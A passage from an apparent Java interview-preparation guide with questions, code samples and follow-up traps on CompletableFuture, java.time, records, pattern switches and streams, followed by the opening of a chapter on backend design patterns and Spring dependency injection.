- **Do all streams need closing?** Only those with I/O-backed sources (`Files.lines`, `Files.walk`, `DirectoryStream`).

#files #lines #resources

Q89 Chain async calls: fetch user, then orders, then compute total. INTERMEDIATE

```
CompletableFuture<BigDecimal> total =
    CompletableFuture.supplyAsync(() -> userClient.get(id), io)
        .thenCompose(u -> CompletableFuture.supplyAsync(() -> orderClient.byUser(u.id()), io))
        .thenApply(os -> os.stream().map(Order::amount).reduce(BigDecimal.ZERO,
BigDecimal::add));
```

Using `thenApply` for the second call would give a nested future. Always pass an executor for blocking clients.

FOLLOW-UP TRAPS

- **What happens if `userClient.get` throws?** Downstream stages are skipped; `join()` throws `CompletionException`.
- **Does `thenCompose` run the inner supplier on `io`?** Only because it is explicitly passed to `supplyAsync`.

#completablefuture #composition #backend

Q90 Run three independent calls in parallel and wait for all. INTERMEDIATE

```
var a = CompletableFuture.supplyAsync(this::loadProfile, io);
var b = CompletableFuture.supplyAsync(this::loadOrders, io);
var c = CompletableFuture.supplyAsync(this::loadPrefs, io);
CompletableFuture.allOf(a, b, c).join();
Page page = new Page(a.join(), b.join(), c.join());
```

`allOf` returns `CompletableFuture<Void>`; read results from each future afterwards. If any fails, `join()` on `allOf` throws `CompletionException`, but the other tasks keep running (no cancellation propagation).

FOLLOW-UP TRAPS

- **Does `allOf` fail fast?** No, it completes when all complete.
- **How to add a timeout?** `.orTimeout(2, TimeUnit.SECONDS)` (Java 9).

#completablefuture #allof

Q91 An exception is thrown in a supplyAsync; the caller sees nothing. Why? ADVANCED

`supplyAsync(...)` returns a future; if nobody calls `join`/`get` or attaches `exceptionally`/`handle`, the failure is captured silently inside the future. With `runAsync` fire-and-forget this goes unnoticed.

```
CompletableFuture.runAsync(this::risky, io)
    .exceptionally(ex -> { log.error("failed", ex); return null; });
```

- Always terminate chains with error handling.
- `get()` wraps in `ExecutionException`, `join()` in `CompletionException`.

FOLLOW-UP TRAPS

- **Does `exceptionally` receive the raw exception?** Often a `CompletionException` wrapping it, if from a dependent stage.
- **Does `whenComplete` recover?** No, it observes only.

#completablefuture #exceptions #swallowed

Q92 LocalDateTime stored in DB gives wrong times across regions. Why? INTERMEDIATE

`LocalDateTime` has no zone, so the stored value is interpreted in whatever zone the server, driver or reader uses. Services in different zones disagree on the instant.

- Store `Instant` (UTC) and convert to a `ZoneId` only at presentation.
- Use `ZonedDateTime` when the local wall clock and rule matter (e.g. a recurring 09:00 meeting in `Europe/Berlin`).
- Set `hibernate.jdbc.time_zone=UTC` for consistent behaviour.

FOLLOW-UP TRAPS

- **Is `LocalDate` for a birthday fine?** Yes, it has no time component.
- **Is JVM default timezone reliable?** No, avoid `ZoneId.systemDefault()` in business logic.

#datetime #timezone #bugs

Q93 Add one day across the daylight-saving change. What is the result? ADVANCED

```
ZonedDateTime t = ZonedDateTime.of(2024, 3, 9, 12, 0, 0, 0, ZoneId.of("America/New_York"));
t.plusDays(1);              // 2024-03-10T12:00-04:00 (local time kept)
t.plus(Duration.ofHours(24)); // 2024-03-10T13:00-04:00
```

`plusDays` works on the local timeline; `Duration` works on the instant timeline. The DST gap on 10 March skips one hour, so 24 elapsed hours land at 13:00.

FOLLOW-UP TRAPS

- **What does an invalid local time in the gap resolve to?** It is shifted forward by the gap length.
- **Ambiguous time in the overlap?** The earlier offset is chosen by default.

#datetime #dst #duration

Q94 Compute the days between two dates, and age from a birthdate. BASIC

```
long days = ChronoUnit.DAYS.between(LocalDate.of(2024, 1, 1), LocalDate.of(2024, 3, 1)); // 60
int age = Period.between(birthDate, LocalDate.now(clock)).getYears();
```

2024 is a leap year, hence 31 + 29 = 60 days. `Period.getDays()` returns only the day component, not the total.

FOLLOW-UP TRAPS

- **Why inject a `Clock`?** `LocalDate.now(clock)` makes time-dependent logic testable.
- **Does `Period.between` give total days?** No, it gives years/months/days parts.

#datetime #period #chronounit

Q95 SimpleDateFormat in a shared static field causes random failures. Why? INTERMEDIATE

`SimpleDateFormat` keeps an internal `Calendar`, so concurrent `parse` / `format` calls corrupt each other and give wrong dates or `NumberFormatException`. Replace with the immutable `DateTimeFormatter`, which is safe to share as a constant.

FOLLOW-UP TRAPS

- **Would `ThreadLocal<SimpleDateFormat>` work?** Yes, but `DateTimeFormatter` is simpler.
- **Does `DateTimeFormatter` produce `Date`?** No, java.time types; convert if legacy APIs need `Date`.

#datetime #thread-safety #legacy

Q96 What happens with an unsorted-parallel `findFirst` vs `findAny`? INTERMEDIATE

`findFirst` on an ordered parallel stream must return the first element in encounter order, so later splits may be discarded after the first split finishes; it is deterministic but slower. `findAny` may return any matching element, differing between runs.

- For search-where-any-is-fine (e.g. any matching record), use `findAny`.
- Calling `.unordered()` lets other ops be cheaper too.

FOLLOW-UP TRAPS

- **Same output on a single-element match?** Yes, both return it.
- **Is `findAny` faster sequentially?** No difference.

#parallel-stream #findany #ordering

Q97 Convert a record to JSON-ready DTO with validation. INTERMEDIATE

```
public record CreateOrder(String sku, int qty, List<String> tags) {
    public CreateOrder {
        Objects.requireNonNull(sku);
        if (qty <= 0) throw new IllegalArgumentException("qty must be > 0");
        tags = List.copyOf(tags);
    }
}
```

- The compact constructor assigns fields at the end; reassigning the parameter `tags` is how you normalise.
- Jackson 2.12+ and Spring Boot 3 deserialize records natively.
- `List.copyOf` makes a defensive immutable copy and rejects null elements.

FOLLOW-UP TRAPS

- **Does the record `toString` hide fields?** No, include any sensitive fields in `toString` automatically; override to mask.
- **Can records have setters?** No, fields are final.

#records #validation #dto

Q98 What does this record equality check give? BASIC

```
record P(int x, List<String> l) {}
new P(1, List.of("a")).equals(new P(1, List.of("a"))); // true
```

Generated `equals` compares components with `equals` (primitives by value). Arrays as components would compare by reference, so `record R(int[] a)` gives `false` for equal contents.

FOLLOW-UP TRAPS

- **Can you override `equals` in a record?** Yes, but keep it consistent with `hashCode`.
- **Is `hashCode` stable across runs?** The algorithm is unspecified; do not persist it.

#records #equals

Q99 Replace an instanceof chain with a pattern switch. INTERMEDIATE

```
sealed interface Event permits Created, Cancelled, Shipped {}
record Created(String id) implements Event {}
record Cancelled(String id, String reason) implements Event {}
record Shipped(String id, String carrier) implements Event {}

String log(Event e) {
    return switch (e) {
        case Created c -> "created " + c.id();
        case Cancelled(var id, var why) -> "cancelled " + id + ": " + why;
        case Shipped s -> "shipped via " + s.carrier();
    };
}
```

No `default`, so adding a new permitted subtype causes a compile error at every switch, which is the intent of sealed hierarchies.

FOLLOW-UP TRAPS

- **What if you add `default`?** The compiler stops flagging new subtypes; avoid it for sealed types.
- **Is the `switch` null-safe?** No; a `null` throws NPE unless `case null` is added.

#pattern-matching #switch #refactoring

Q100 In a pattern switch, why does this fail to compile? ADVANCED

```
switch (o) {
    case Number n -> ...;
    case Integer i -> ...; // error: this case label is dominated by a preceding case label
    default -> ...;
}
```

A more general pattern before a specific one makes the specific one unreachable. Order specific first, general last; guarded patterns (`when`) go before their unguarded counterparts.

FOLLOW-UP TRAPS

- **Does a guard like `case Integer i when i > 0` dominate `case Integer i`?** No, the guarded one does not dominate; the reverse order would be an error.
- **Can `default` appear before other cases?** In Java 21 it must not dominate patterns; place it last.

#pattern-matching #dominance #compile-error

Q101 Model API results with sealed types instead of exceptions or nulls. ADVANCED

```
sealed interface Result<T> permits Ok, Err {}
record Ok<T>(T value) implements Result<T> {}
record Err<T>(String message) implements Result<T> {}

String render(Result<Order> r) {
    return switch (r) {
        case Ok<Order>(var o) -> "order " + o.id();
        case Err<Order>(var m) -> "failed: " + m;
    };
}
```

Callers cannot forget the failure branch. Use for expected business outcomes (validation, not found); keep exceptions for unexpected faults.

FOLLOW-UP TRAPS

- **Does it replace `Optional`?** Optional is for absence; a result type carries a reason.
- **Is it idiomatic in Spring controllers?** Fine inside the service layer; map to HTTP status at the edge.

#sealed #design #result-type

Q102 Mixing `sorted` with `limit` on a big stream, what is the cost?

INTERMEDIATE

`sorted().limit(k)` buffers all n elements and sorts them in O(n log n), although the JDK has a top-k optimisation in some paths. For top-k over huge data, keep a bounded `PriorityQueue` of size k or push `ORDER BY ... LIMIT` into SQL.

```
PriorityQueue<Order> heap = new PriorityQueue<>(Comparator.comparing(Order::amount));
for (Order o : orders) { heap.add(o); if (heap.size() > 3) heap.poll(); }
```

FOLLOW-UP TRAPS

- **`limit().sorted()` vs `sorted().limit()`?** Different semantics: the first sorts only the first k elements.
- **Memory for `distinct()` on a huge stream?** Proportional to unique elements.

#performance #sorted #limit

Q103 Why can `Collectors.toList()` be risky when the caller later mutates the result?

INTERMEDIATE

The returned list type is unspecified; today it is `ArrayList`, so mutation works, but this is not guaranteed. If your API promises immutability, return `Stream.toList()` or `List.copyOf`, and document it.

- Returning internal mutable lists leaks internal state; return unmodifiable views or copies.
- `Collectors.toUnmodifiableList()` rejects `null` elements.

FOLLOW-UP TRAPS

- **What happens on `add` to `Stream.toList()`?** `UnsupportedOperationException`.
- **Do unmodifiable wrappers copy?** `Collections.unmodifiableList` is a view; `List.copyOf` is a copy.

#collectors #immutability #apis

Q104 Return a stream from a repository method. What can go wrong?

ADVANCED

Spring Data JPA can return `Stream<T>` from query methods, but the stream keeps a cursor open and must be consumed inside a transaction and closed. Using it after the transaction ends gives errors, and forgetting to close leaks connections.

```
@Transactional(readOnly = true)
public long countActive() {
    try (Stream<User> s = repo.streamAllActive()) {
        return s.filter(User::verified).count();
    }
}
```

FOLLOW-UP TRAPS

- **Is it truly lazy fetching?** Depends on JDBC fetch size; MySQL needs `useCursorFetch` or `Integer.MIN_VALUE`.
- **Return the stream from a controller?** No; materialise first.

#stream #resources #spring-data

Q105 What is printed by `Stream.of(1,2,3,4).takeWhile(...)` vs `filter(...)`?

BASIC

```
Stream.of(1, 2, 3, 1, 2).takeWhile(i -> i < 3).toList(); // [1, 2]
Stream.of(1, 2, 3, 1, 2).filter(i -> i < 3).toList();    // [1, 2, 1, 2]
Stream.of(1, 2, 3, 1, 2).dropWhile(i -> i < 3).toList(); // [3, 1, 2]
```

FOLLOW-UP TRAPS

- **Does `takeWhile` work on unordered streams?** It may return an arbitrary subset; use ordered sources.
- **Is `takeWhile` available in Java 8?** No, Java 9.

#takewhile #filter

Q106 Flatten and deduplicate with an Optional chain in a service.

INTERMEDIATE

`Optional.stream()` (Java 9) turns an Optional into a 0-or-1 stream, handy for dropping empties after a lookup.

```
List<User> users = ids.stream()
    .map(repo::findById)          // Stream<Optional<User>>
    .flatMap(Optional::stream)    // drops empties
    .toList();
```

This issues one query per id (N+1); prefer `findAllById(ids)`.

FOLLOW-UP TRAPS

- **Java 8 equivalent?** `.filter(Optional::isPresent).map(Optional::get)`.
- **Is the N+1 acceptable?** Only for tiny lists; batch the lookup.

#optional #stream #flatmap

Q107 Customise a Comparator for a multi-field, null-safe sort.

INTERMEDIATE

```
Comparator<User> c = Comparator
    .comparing(User::lastName, Comparator.nullsLast(String.CASE_INSENSITIVE_ORDER))
    .thenComparing(User::age, Comparator.reverseOrder());
```

Without `nullsLast`, a null `lastName` raises NPE inside the comparator. Prefer `comparingInt` / `comparingLong` to avoid boxing for primitive keys.

FOLLOW-UP TRAPS

- **Why is `(a, b) -> a.age() - b.age()` dangerous?** Integer overflow breaks the contract; use `Integer.compare`.
- **Does `reversed()` flip null placement?** Yes, `nullsLast` becomes effectively first when reversed at the outer level.

#comparator #nulls #sorting

Q108 Replace a Strategy class hierarchy with functional interfaces.

INTERMEDIATE

When each strategy is one method, map names to lambdas.

```
Map<String, BinaryOperator<BigDecimal>> rules = Map.of(
    "SUM", BigDecimal::add,
    "MAX", BigDecimal::max);
BigDecimal r = rules.get(op).apply(a, b);
```

Fewer classes, easy testing. For strategies with state, configuration or several methods, keep a proper interface and class.

FOLLOW-UP TRAPS

- **What if an unknown op key is passed?** `get` returns null and NPE; use `Optional.ofNullable(...).orElseThrow(...)`.
- **Does `Map.of` allow null or duplicate keys?** No, both throw.

#functional #strategy #design

CORE JAVA · CHAPTER 15

Design Patterns (Backend-Relevant)

Creational, structural and behavioral patterns as used in Java backends and Spring, plus dependency injection, repository/DTO, CQRS, outbox, saga, circuit breaker, idempotency, anti-patterns and functional alternatives.

104 questions **30** basic **50** intermediate **24** advanced

Theory

Q1 What is a design pattern and why do interviewers ask about them? BASIC

A design pattern is a named, reusable solution to a recurring design problem, described by intent, structure and trade-offs rather than concrete code. It gives teams a shared vocabulary ("wrap it in a decorator") and captures known consequences.

- GoF patterns fall into creational, structural and behavioral groups.
- In backend work the value is recognizing the pattern inside frameworks (Spring, JDK) and picking one deliberately instead of by habit.

FOLLOW-UP TRAPS

- **Is a pattern a library you import?** No, it is a design idea; you implement it per context.
- **Should every problem use a pattern?** No, forcing patterns onto simple code adds indirection without benefit.

#fundamentals #patterns

Q2 How do you implement a thread-safe Singleton? INTERMEDIATE

Make the constructor private and expose one instance created safely. The common options are eager initialization, double-checked locking with a `volatile` field, the initialization-on-demand holder, or a single-element enum.

```
public final class Config {
    private static volatile Config instance;
    private Config() {}
    public static Config get() {
        Config c = instance;
        if (c == null) {
            synchronized (Config.class) {
                c = instance;
                if (c == null) instance = c = new Config();
            }
        }
        return c;
    }
}
```

- Without `volatile`, another thread may see a non-null but partially constructed object because of instruction reordering.
- Eager `static final` initialization is simplest when construction is cheap.

FOLLOW-UP TRAPS

- **Is `synchronized` on `get()` wrong?** Correct but takes a lock on every call; double-checked locking avoids that.
- **Does `volatile` matter in Java 5+?** Yes, it prevents unsafe publication in double-checked locking.

#singleton #concurrency

Q3 What is the initialization-on-demand holder idiom? INTERMEDIATE

A private static nested class holds the instance in a `static final` field. The JVM initializes the holder class lazily, on first access of `getInstance()`, and class initialization is guaranteed thread-safe by the JLS.

```
public final class Registry {
    private Registry() {}
    private static class Holder { static final Registry INSTANCE = new Registry(); }
    public static Registry getInstance() { return Holder.INSTANCE; }
}
```

- No explicit locking and no `volatile`, yet lazy.
- Cannot take constructor arguments and cannot recover from an exception in the constructor (the class becomes unusable with `NoClassDefFoundError`).

FOLLOW-UP TRAPS

- **Is the holder loaded when `Registry` is loaded?** No, only when `Holder` is first referenced.
- **What if the constructor throws?** The holder class is in an erroneous state and later calls fail.

#singleton #classloading

Q4 Why is an enum Singleton considered the most robust? INTERMEDIATE

`enum Singleton { INSTANCE; }` gets thread-safe lazy-on-class-load creation, built-in serialization safety, and protection against reflection instantiation, all from the language.

- Normal singletons break on deserialization unless `readResolve()` returns the instance.
- `Constructor.newInstance` on an enum throws `IllegalArgumentException`.
- Limitations: cannot extend another class (can implement interfaces) and is created at enum class load, not lazily on demand.

FOLLOW-UP TRAPS

- **Can an enum singleton be lazy?** Only as lazy as class loading; it is initialized when first used, not on JVM start.
- **Can reflection break a classic singleton?** Yes, via `setAccessible(true)` on the private constructor.

#singleton #enum #serialization

Q5 Why is the classic Singleton often called an anti-pattern, and what replaces it in Spring? INTERMEDIATE

Static singletons are hidden global state: hard to mock, order-dependent in tests, and tightly coupled to callers. Spring replaces them with singleton-scoped beans, where the container manages one instance per `ApplicationContext` and injects it.

- Spring's "singleton" means one instance per container per bean definition, not per JVM or per class.
- The bean must be stateless or thread-safe because many request threads share it.

FOLLOW-UP TRAPS

- **Is a Spring singleton bean thread-safe by default?** No, Spring does not synchronize anything; mutable fields are your responsibility.
- **Two contexts in one JVM?** Each creates its own instance.

#singleton #spring #testing

Q6 What is the Factory Method pattern? BASIC

Define a method that creates an object, letting callers depend on an interface while subclasses or the factory decide the concrete type. It centralizes creation logic and hides constructors.

```
interface Notifier { void send(String msg); }
final class NotifierFactory {
    static Notifier of(String channel) {
        return switch (channel) {
            case "email" -> new EmailNotifier();
            case "sms"   -> new SmsNotifier();
            default -> throw new IllegalArgumentException(channel);
        };
    }
}
```

- JDK examples: `List.of`, `Calendar.getInstance`, `NumberFormat.getInstance`, `Optional.of`.
- Static factory methods also give names, caching and subtype return, unlike constructors.

FOLLOW-UP TRAPS

- **Is a static factory the same as GoF Factory Method?** Not strictly; GoF uses an overridable creator method, but the intent is similar and static factories are the common idiom.
- **Open/closed issue in the switch?** Adding a channel edits the factory; use a registry map or Spring injection of all implementations to avoid that.

#factory #creational

Q7 How does Abstract Factory differ from Factory Method? INTERMEDIATE

Factory Method creates one product; Abstract Factory creates a family of related products behind one interface so they stay consistent.

- Example: a `DatabaseDialectFactory` returning matching `QueryBuilder`, `TypeMapper` and `Migrator` for PostgreSQL or MySQL.
- JDK example: `DocumentBuilderFactory`, and JDBC `Connection` creating `Statement`, `PreparedStatement` for one driver.
- Adding a new product type forces changes in every factory; adding a new family is easy.

FOLLOW-UP TRAPS

- **Main downside?** Adding a new product kind changes the factory interface and all implementations.
- **How does Spring express families?** Profiles or `@ConditionalOnProperty` select a coherent set of beans.

#abstract-factory #creational

Q8 When should you use the Builder pattern and how is it written in Java? BASIC

Use Builder when an object has many optional parameters or must be immutable but validated at construction. It avoids telescoping constructors and unreadable positional arguments.

```
public final class HttpCall {
    private final String url; private final int timeoutMs;
    private HttpCall(Builder b) { url = b.url; timeoutMs = b.timeoutMs; }
    public static Builder builder(String url) { return new Builder(url); }
    public static final class Builder {
        private final String url; private int timeoutMs = 3000;
        private Builder(String url) { this.url = url; }
        public Builder timeoutMs(int t) { timeoutMs = t; return this; }
        public HttpCall build() { return new HttpCall(this); }
    }
}
```

- Validate invariants in `build()`.

- JDK examples: `StringBuilder`, `HttpClient.newBuilder()`, `Stream.Builder`; Lombok's `@Builder` generates one.

> **FOLLOW-UP TRAPS**
> - **Is a builder thread-safe?** Usually not; treat it as single-thread, but the built object is immutable and shareable.
> - **Records instead of builders?** Records give immutability but not named optional params; a builder or static factory is still useful for many fields.

#builder #immutability

Q9 What is the Prototype pattern and how does Java's `clone()` relate? INTERMEDIATE

Create new objects by copying an existing instance instead of constructing from scratch. It is useful when construction is expensive or the concrete type is unknown at the call site.

- `Cloneable` / `Object.clone()` does a shallow field copy and is considered flawed: no constructor call, checked exception, and a marker interface with no methods.
- Prefer copy constructors or copy factories, or deep copy via serialization or mapping libraries.
- Spring's `prototype` scope returns a fresh bean instance per injection or `getBean` call.

> **FOLLOW-UP TRAPS**
> - **Does `clone()` copy nested objects?** Not by default; mutable fields are shared unless you copy them manually.
> - **Is a prototype-scoped bean destroyed by Spring?** No, the container does not call destroy callbacks for prototypes.

#prototype #clone

Q10 What is the Adapter pattern and where does it show up? BASIC

Adapter converts one interface into another that clients expect, so incompatible classes can collaborate without changing either.

- Typical backend use: wrapping a third-party payment SDK behind your own `PaymentGateway` interface.
- JDK: `Arrays.asList` (array to List), `InputStreamReader` (bytes to chars), `Collections.enumeration`.
- Spring: `HandlerAdapter` lets `DispatcherServlet` invoke different handler types uniformly; `HttpMessageConverter` adapts bodies.

> **FOLLOW-UP TRAPS**
> - **Adapter vs Facade?** Adapter changes one interface to match another; Facade simplifies a subsystem with a new, smaller interface.
> - **Is a mapper from entity to DTO an adapter?** Conceptually similar but usually just a mapping layer.

#adapter #structural

Q11 Explain the Decorator pattern. BASIC

Decorator wraps an object implementing the same interface to add behavior before or after delegating, composable at runtime without subclass explosion.

```
interface PriceService { double price(String sku); }
class CachingPriceService implements PriceService {
    private final PriceService delegate; private final Map<String, Double> cache = new
ConcurrentHashMap<>();
    CachingPriceService(PriceService d) { delegate = d; }
    public double price(String sku) { return cache.computeIfAbsent(sku, delegate::price); }
}
```

- JDK: `BufferedInputStream`, `Collections.unmodifiableList`, `Collections.synchronizedMap`.

- Spring: `HttpServletRequestWrapper`, `BeanPostProcessor` wrapping beans.

FOLLOW-UP TRAPS

- **Decorator vs inheritance?** Decorators compose at runtime and stack in any order; inheritance fixes behavior at compile time.
- **Decorator vs Proxy?** Decorator adds responsibilities chosen by the client; Proxy controls access and is usually transparent to the client.

#decorator #structural

Q12 What is the Proxy pattern and what kinds exist?

INTERMEDIATE

A proxy is a stand-in with the same interface that controls access to the real object. Kinds: virtual (lazy loading), protection (authorization), remote (RPC stubs), and smart (caching, logging, transactions).

- Hibernate lazy entities and `getReference()` return virtual proxies.
- Spring AOP uses proxies to apply `@Transactional`, `@Cacheable`, `@Async`, `@Retryable`.
- Feign/Retrofit clients are remote proxies generated from interfaces.

FOLLOW-UP TRAPS

- **Is a proxy always a subclass?** No, JDK proxies implement interfaces; CGLIB generates a subclass.
- **Does the caller know it's a proxy?** Normally no, which is why `this == proxy` surprises appear.

#proxy #structural

Q13 Compare JDK dynamic proxies and CGLIB proxies.

INTERMEDIATE

JDK proxies (`java.lang.reflect.Proxy`) implement the target's interfaces and route calls through an `InvocationHandler`. CGLIB (repackaged in Spring, using ByteBuddy-like subclass generation) creates a subclass of the target class and overrides its methods.

- Spring Boot 2+ defaults to CGLIB (`spring.aop.proxy-target-class=true`), so interfaces are not required.
- CGLIB cannot proxy `final` classes or `final` / `private` methods; they run unadvised on the proxy instance.
- JDK proxies can only expose interface methods; casting to the concrete class fails.

```
Runnable r = (Runnable) Proxy.newProxyInstance(
    Runnable.class.getClassLoader(), new Class<?>[]{Runnable.class},
    (proxy, m, args) -> { System.out.println("before"); return null; });
```

FOLLOW-UP TRAPS

- **Why does `@Transactional` on a `final` class method not work?** CGLIB cannot override it, so no interception.
- **Does CGLIB call the constructor twice?** Older versions did; Spring 4+ uses Objenesis to avoid invoking the constructor.

#proxy #jdk-proxy #cglib #spring-aop

Q14 What is the Facade pattern?

BASIC

Facade provides a single simplified interface to a complex subsystem, reducing coupling between clients and many internal classes.

- Backend example: an `OrderFacade.placeOrder()` orchestrating inventory, payment, and shipping services so the controller makes one call.
- JDK/Spring: `JdbcTemplate`, `RestTemplate` / `RestClient`, and SLF4J are facades over lower-level APIs.
- Risk: a facade that accumulates business logic becomes a god class.

FOLLOW-UP TRAPS

- **Does a facade hide the subsystem completely?** No, advanced clients can still use subsystem classes directly.
- **Facade vs service layer?** A service layer often is a facade; the distinction is intent, not structure.

#facade #structural

Q15 Explain the Composite pattern. INTERMEDIATE

Composite lets you treat individual objects and groups of objects uniformly through a common interface, forming tree structures.

```
interface Rule { boolean test(Order o); }
record AllOf(List<Rule> rules) implements Rule {
    public boolean test(Order o) { return rules.stream().allMatch(r -> r.test(o)); }
}
```

- Backend uses: menu/permission trees, nested validation rules, Specification `and/or`, composite health indicators, `Predicate.and()`.
- Spring: `CompositeHealthContributor`, `DelegatingPasswordEncoder`, `CompositeCacheManager`.

FOLLOW-UP TRAPS

- **Where should child-management methods live?** Safe design puts them only on composite; transparent design puts them on the interface at the cost of leaf errors.
- **Recursion risk?** Cycles in the graph cause stack overflow; validate on construction.

#composite #structural

Q16 What is the Strategy pattern and where does Spring use it? BASIC

Strategy encapsulates interchangeable algorithms behind an interface so the algorithm can be selected at runtime without conditionals in the client.

- Spring examples: `PasswordEncoder`, `HandlerMapping`, `ViewResolver`, `TransactionManager`, `CacheResolver`, `AuthenticationProvider`, `RetryPolicy`.
- JDK: `Comparator`, `ExecutorService` rejection policies.
- In modern Java a strategy is often just a lambda or method reference.

FOLLOW-UP TRAPS

- **Strategy vs State?** Strategy is chosen by the client and rarely changes; State transitions itself based on internal events.
- **Strategy vs Template Method?** Strategy uses composition; Template Method uses inheritance.

#strategy #behavioral #spring

Q17 Explain the Observer pattern and its Java/Spring forms. BASIC

Observer defines a one-to-many dependency: when a subject changes state, registered observers are notified automatically, decoupling publisher from subscribers.

- JDK: `java.util.Observable` / `Observer` are deprecated since Java 9; use `PropertyChangeListener`, `Flow` (reactive streams) or your own listener interfaces.
- Spring: `ApplicationEventPublisher` plus `@EventListener`; `@TransactionalEventListener` fires after commit.
- Listeners are synchronous on the publishing thread by default, so a slow or failing listener affects the publisher unless `@Async` is used.

FOLLOW-UP TRAPS

- **Are Spring events asynchronous by default?** No, they run in the caller thread and in its transaction.
- **Observer vs message broker?** A broker adds durability, process isolation and retries; in-process observers lose events on crash.

#observer #events #behavioral

Q18 What is the Template Method pattern? BASIC

A base class defines the skeleton of an algorithm in a final method and defers certain steps to subclasses through abstract or hook methods.

```
abstract class ReportJob {
    public final void run() { var data = load(); var out = format(data); publish(out); }
    protected abstract List<String> load();
    protected abstract String format(List<String> d);
    protected void publish(String s) { System.out.println(s); }
}
```

- Spring examples: `JdbcTemplate`, `TransactionTemplate`, `AbstractController`, `OncePerRequestFilter.doFilterInternal`.
- Callback-based variants (`JdbcTemplate.query(sql, rowMapper)`) replace inheritance with lambdas.

FOLLOW-UP TRAPS

- **Why make the template method `final`?** So subclasses cannot change the algorithm order.
- **Downside versus Strategy?** Inheritance couples you to the base class and allows only one variation axis.

#template-method #behavioral #inheritance

Q19 Explain Chain of Responsibility with backend examples. INTERMEDIATE

A request passes along a chain of handlers; each handler processes it, modifies it, or passes it on, so the sender does not know which handler acts.

- Servlet `Filter` chain and Spring Security's `SecurityFilterChain`; `HandlerInterceptor` chain.
- Logging frameworks: appenders and log levels; Netty `ChannelPipeline`.
- Each handler decides whether to continue (`chain.doFilter(req, res)`); forgetting the call silently stops the request.

FOLLOW-UP TRAPS

- **Is it guaranteed that some handler handles the request?** No, a pure chain can end unhandled; add a terminal handler.
- **Order matters?** Yes; for example authentication filters must precede authorization.

#chain-of-responsibility #behavioral #filters

Q20 What is the Command pattern? INTERMEDIATE

Command wraps a request as an object with an `execute` method (and possibly `undo`), so requests can be queued, logged, retried, scheduled or sent across process boundaries.

- `Runnable` / `Callable` submitted to an `ExecutorService` are commands.
- Backend: job queues, CQRS command objects (`CreateOrderCommand`), Spring Batch steps, event-sourced commands.
- Serializable commands enable audit logs and replay.

FOLLOW-UP TRAPS

- **Command vs Strategy?** Command encapsulates a specific request to run later; Strategy encapsulates an algorithm choice.
- **How do you make commands idempotent?** Include an id and track processed ids.

#command #behavioral

Q21 Explain the State pattern. INTERMEDIATE

State lets an object alter its behavior when its internal state changes by delegating to a state object, replacing large `if/switch` blocks on a status field.

```
enum OrderState {
    NEW { OrderState next() { return PAID; } },
    PAID { OrderState next() { return SHIPPED; } },
    SHIPPED { OrderState next() { throw new IllegalStateException(); } };
    abstract OrderState next();
}
```

- Enums with behavior are the lightweight Java form; Spring Statemachine is a library for complex flows.
- Persist only the state name; reconstruct behavior from it.

FOLLOW-UP TRAPS

- **Who triggers transitions?** Either the context or the states themselves; keep a legal-transition table to prevent illegal jumps.
- **State vs Strategy?** Same structure, different intent: states know about each other and change on events.

#state #behavioral #fsm

Q22 What is the Visitor pattern and what replaces it in modern Java? ADVANCED

Visitor separates an operation from the object structure via double dispatch: elements expose `accept(visitor)` and call `visitor.visit(this)`. It makes adding operations easy but adding element types hard.

- Java 17+ sealed interfaces with pattern matching `switch` give exhaustive dispatch without boilerplate.
- JDK examples: `Files.walkFileTree` with `FileVisitor`, `ElementVisitor` in annotation processing.

```
sealed interface Expr permits Num, Add {}
record Num(int v) implements Expr {}
record Add(Expr l, Expr r) implements Expr {}
static int eval(Expr e) {
    return switch (e) { case Num n -> n.v(); case Add a -> eval(a.l()) + eval(a.r()); };
}
```

FOLLOW-UP TRAPS

- **Why double dispatch?** Java dispatches only on the receiver at runtime; the visitor call picks the overload on the element's static type.
- **Downside of visitor?** A new element type forces changes in every visitor.

#visitor #behavioral #sealed

Q23 What is Dependency Injection and Inversion of Control? BASIC

IoC means a framework controls object creation and wiring instead of your code. Dependency Injection is the technique: collaborators are supplied to an object rather than looked up or constructed by it.

- Types: constructor, setter, field injection; constructor injection is preferred for immutability, required dependencies and easy unit testing.
- Benefits: loose coupling to interfaces, easy substitution with mocks, central lifecycle management.

- Spring's container (`ApplicationContext`) resolves types, creates beans and applies proxies.

> **FOLLOW-UP TRAPS**
> - **Is DI the same as the Service Locator?** No, a locator makes the class pull dependencies; DI pushes them in.
> - **Why avoid field injection?** It hides dependencies, prevents `final` fields, and requires reflection or the container in tests.

#di #ioc #spring

Q24 **How does Spring resolve circular dependencies and why avoid them?** ADVANCED

Constructor-injected cycles fail with `BeanCurrentlyInCreationException`. Setter/field cycles for singletons used to be resolved through early references (three-level cache), but Spring Boot 2.6+ prohibits circular references by default.

- A cycle signals a design problem; break it by extracting a third component, using events, or `@Lazy` on one injection point.
- `spring.main.allow-circular-references=true` re-enables the old behavior; use it only as a stopgap.

> **FOLLOW-UP TRAPS**
> - **Do prototype cycles work?** No, Spring cannot resolve them.
> - **Does `@Lazy` fix the design?** It injects a lazy proxy and defers the problem.

#di #spring #circular-dependency

Q25 **What are the Spring bean scopes and how do they relate to patterns?** BASIC

`singleton` (default, one per container), `prototype` (new per request for the bean), and web scopes `request`, `session`, `application`, `websocket`.

- Singleton scope is the container-managed Singleton; prototype is Prototype.
- Injecting a prototype into a singleton yields one instance created at injection time; use `ObjectProvider`, `@Lookup` or a scoped proxy for a fresh one per use.

> **FOLLOW-UP TRAPS**
> - **Does a request-scoped bean injected into a singleton work?** Only via a scoped proxy (`proxyMode = TARGET_CLASS`).
> - **Singleton bean and mutable state?** Shared across threads; races are likely.

#spring #scopes #singleton #prototype

Q26 **Where does Spring use the Factory pattern?** INTERMEDIATE

`BeanFactory` / `ApplicationContext` are factories for beans. `FactoryBean<T>` customizes creation of a bean, and `@Bean` methods are factory methods on configuration classes.

- `FactoryBean` examples: `ProxyFactoryBean`, `LocalContainerEntityManagerFactoryBean`.
- Injecting `&myFactoryBean` returns the factory itself, while `myFactoryBean` returns the product.
- `ObjectProvider<T>` and `Supplier` beans offer lazy, repeatable creation.

> **FOLLOW-UP TRAPS**
> - **BeanFactory vs ApplicationContext?** ApplicationContext adds events, i18n, resource loading and eager singleton initialization.
> - **Is `@Bean` method called each time it is referenced?** In `@Configuration` (full mode) CGLIB intercepts calls and returns the singleton; in lite mode it runs each time.

#spring #factory #beanfactory

Q27 Summarize where Spring uses Template Method, Proxy, Observer, Strategy, Adapter and Singleton.

INTERMEDIATE

- Template Method: `JdbcTemplate`, `RestTemplate`, `TransactionTemplate`.
